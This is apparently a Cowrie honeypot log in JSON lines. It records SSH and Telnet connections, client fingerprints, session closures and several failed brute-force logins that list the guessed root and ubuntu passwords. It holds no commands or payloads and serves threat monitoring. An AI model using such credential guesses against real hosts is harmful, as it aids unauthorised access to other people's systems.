{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":54882,"dst_ip":"10.17.0.5","dst_port":22,"session":"2928b411387c","protocol":"ssh","message":"New connection: 107.173.55.151:54882 (10.17.0.5:22) [session: 2928b411387c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:31.652560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:31.658776Z","src_ip":"107.173.55.151","session":"2928b411387c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:31.675956Z","src_ip":"107.173.55.151","session":"2928b411387c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveme","message":"login attempt [root/loveme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:31.774746Z","src_ip":"107.173.55.151","session":"2928b411387c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:32.794925Z","src_ip":"107.173.55.151","session":"2928b411387c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.75463581085205,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:36.713660Z","src_ip":"45.63.42.31","session":"d912f235a0de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.628170251846313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:38.111382Z","src_ip":"213.171.199.40","session":"d171e228b850","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":44092,"dst_ip":"159.203.135.109","dst_port":22,"session":"53ccf2a4fd4e","protocol":"ssh","message":"New connection: 78.134.49.171:44092 (159.203.135.109:22) [session: 53ccf2a4fd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:39.129489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:39.133843Z","src_ip":"78.134.49.171","session":"53ccf2a4fd4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:39.244285Z","src_ip":"78.134.49.171","session":"53ccf2a4fd4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.217355251312256,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:39.631086Z","src_ip":"45.63.42.31","session":"b69a71ef2b6a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"6","message":"login attempt [ubuntu/6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:39.707682Z","src_ip":"78.134.49.171","session":"53ccf2a4fd4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":43640,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3db6b9613ce","protocol":"telnet","message":"New connection: 213.171.199.40:43640 (159.203.135.109:23) [session: e3db6b9613ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:40.401374Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:40.816197Z","src_ip":"78.134.49.171","session":"53ccf2a4fd4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.99563026428223,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:41.715191Z","src_ip":"45.63.42.31","session":"e9d4a8ef7120","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.67658281326294,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:41.853621Z","src_ip":"45.63.42.31","session":"fac37f6db0ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":37432,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bb1d7a472ca","protocol":"telnet","message":"New connection: 45.63.42.31:37432 (10.17.0.5:23) [session: 8bb1d7a472ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:43.804850Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":59968,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a0d93edd4f7","protocol":"telnet","message":"New connection: 45.63.42.31:59968 (10.17.0.5:23) [session: 7a0d93edd4f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:44.046241Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":36090,"dst_ip":"159.203.135.109","dst_port":23,"session":"2051db9f36ac","protocol":"telnet","message":"New connection: 213.171.199.40:36090 (159.203.135.109:23) [session: 2051db9f36ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:46.302360Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":50086,"dst_ip":"10.17.0.5","dst_port":22,"session":"aef9cf7017f1","protocol":"ssh","message":"New connection: 5.182.83.231:50086 (10.17.0.5:22) [session: aef9cf7017f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:48.928862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:48.933443Z","src_ip":"5.182.83.231","session":"aef9cf7017f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:49.050428Z","src_ip":"5.182.83.231","session":"aef9cf7017f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":48792,"dst_ip":"10.17.0.5","dst_port":23,"session":"139a036714e6","protocol":"telnet","message":"New connection: 45.63.42.31:48792 (10.17.0.5:23) [session: 139a036714e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:49.371532Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz123wsx!@","message":"login attempt [root/Qaz123wsx!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:49.554356Z","src_ip":"5.182.83.231","session":"aef9cf7017f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:50.673706Z","src_ip":"5.182.83.231","session":"aef9cf7017f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.1621036529541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:55.085256Z","src_ip":"213.171.199.40","session":"0a446834357c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.789615869522095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:57.095853Z","src_ip":"213.171.199.40","session":"d30efd64c33f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":52452,"dst_ip":"159.203.135.109","dst_port":23,"session":"227945cc9c19","protocol":"telnet","message":"New connection: 213.171.199.40:52452 (159.203.135.109:23) [session: 227945cc9c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:58.911196Z"}
{"eventid":"cowrie.session.closed","duration":41.62588143348694,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:00.188629Z","src_ip":"103.115.172.252","session":"91b18d91c51e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":58280,"dst_ip":"159.203.135.109","dst_port":23,"session":"022fd59d4b7d","protocol":"telnet","message":"New connection: 213.171.199.40:58280 (159.203.135.109:23) [session: 022fd59d4b7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:00.432725Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":48316,"dst_ip":"10.17.0.5","dst_port":23,"session":"976465c9ba82","protocol":"telnet","message":"New connection: 45.63.42.31:48316 (10.17.0.5:23) [session: 976465c9ba82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:03.327239Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":43226,"dst_ip":"159.203.135.109","dst_port":23,"session":"344ae40316f0","protocol":"telnet","message":"New connection: 213.171.199.40:43226 (159.203.135.109:23) [session: 344ae40316f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:04.333252Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":53578,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bd70fe55aa7","protocol":"telnet","message":"New connection: 45.63.42.31:53578 (10.17.0.5:23) [session: 5bd70fe55aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:08.941250Z"}
{"eventid":"cowrie.session.closed","duration":30.649123907089233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:11.050359Z","src_ip":"213.171.199.40","session":"e3db6b9613ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":36092,"dst_ip":"10.17.0.5","dst_port":23,"session":"29262f1b7b4c","protocol":"telnet","message":"New connection: 45.63.42.31:36092 (10.17.0.5:23) [session: 29262f1b7b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:11.217657Z"}
{"eventid":"cowrie.session.closed","duration":31.38023018836975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:17.682446Z","src_ip":"213.171.199.40","session":"2051db9f36ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.400989055633545,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:18.205724Z","src_ip":"45.63.42.31","session":"8bb1d7a472ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":35056,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dcfede82a07","protocol":"telnet","message":"New connection: 213.171.199.40:35056 (159.203.135.109:23) [session: 1dcfede82a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:18.411718Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":43486,"dst_ip":"10.17.0.5","dst_port":22,"session":"72e1cc2dbc0c","protocol":"ssh","message":"New connection: 107.173.55.151:43486 (10.17.0.5:22) [session: 72e1cc2dbc0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:18.548469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:18.552805Z","src_ip":"107.173.55.151","session":"72e1cc2dbc0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:18.571022Z","src_ip":"107.173.55.151","session":"72e1cc2dbc0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.6281099319458,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:18.674256Z","src_ip":"45.63.42.31","session":"7a0d93edd4f7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2","message":"login attempt [root/P@ssw0rd2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:18.681735Z","src_ip":"107.173.55.151","session":"72e1cc2dbc0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:19.707309Z","src_ip":"107.173.55.151","session":"72e1cc2dbc0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.09884834289551,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:24.470246Z","src_ip":"45.63.42.31","session":"139a036714e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":56026,"dst_ip":"159.203.135.109","dst_port":23,"session":"746e5c2825e9","protocol":"telnet","message":"New connection: 213.171.199.40:56026 (159.203.135.109:23) [session: 746e5c2825e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:24.923146Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":40606,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f997a27dcb8","protocol":"telnet","message":"New connection: 213.171.199.40:40606 (159.203.135.109:23) [session: 3f997a27dcb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:28.735322Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":41326,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd76fc0940ce","protocol":"telnet","message":"New connection: 213.171.199.40:41326 (159.203.135.109:23) [session: dd76fc0940ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:28.940862Z"}
{"eventid":"cowrie.session.closed","duration":30.26027774810791,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:29.171375Z","src_ip":"213.171.199.40","session":"227945cc9c19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":43396,"dst_ip":"159.203.135.109","dst_port":23,"session":"881c6028d47f","protocol":"telnet","message":"New connection: 213.171.199.40:43396 (159.203.135.109:23) [session: 881c6028d47f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:29.654573Z"}
{"eventid":"cowrie.session.closed","duration":30.6420841217041,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:31.074684Z","src_ip":"213.171.199.40","session":"022fd59d4b7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":49208,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc152f454122","protocol":"telnet","message":"New connection: 213.171.199.40:49208 (159.203.135.109:23) [session: cc152f454122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:31.356424Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":44162,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d1f58e419eb","protocol":"telnet","message":"New connection: 45.63.42.31:44162 (10.17.0.5:23) [session: 4d1f58e419eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:32.248130Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":54074,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cf75429213f","protocol":"telnet","message":"New connection: 213.171.199.40:54074 (159.203.135.109:23) [session: 0cf75429213f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:32.740646Z"}
{"eventid":"cowrie.session.closed","duration":30.772560596466064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:35.105726Z","src_ip":"213.171.199.40","session":"344ae40316f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.03859734535217,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:37.365737Z","src_ip":"45.63.42.31","session":"976465c9ba82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":41520,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6fc9309a415","protocol":"telnet","message":"New connection: 213.171.199.40:41520 (159.203.135.109:23) [session: e6fc9309a415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:37.593029Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":41580,"dst_ip":"10.17.0.5","dst_port":23,"session":"69ea91c45142","protocol":"telnet","message":"New connection: 45.63.42.31:41580 (10.17.0.5:23) [session: 69ea91c45142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:41.670932Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":57220,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfbffd1768ef","protocol":"telnet","message":"New connection: 213.171.199.40:57220 (159.203.135.109:23) [session: dfbffd1768ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:42.376021Z"}
{"eventid":"cowrie.session.closed","duration":35.00146794319153,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:43.942590Z","src_ip":"45.63.42.31","session":"5bd70fe55aa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.78309226036072,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:45.000666Z","src_ip":"45.63.42.31","session":"29262f1b7b4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":43446,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9a9afad99b1","protocol":"telnet","message":"New connection: 213.171.199.40:43446 (159.203.135.109:23) [session: e9a9afad99b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:46.966260Z"}
{"eventid":"cowrie.session.closed","duration":30.67961072921753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:49.091215Z","src_ip":"213.171.199.40","session":"1dcfede82a07","protocol":"telnet"}
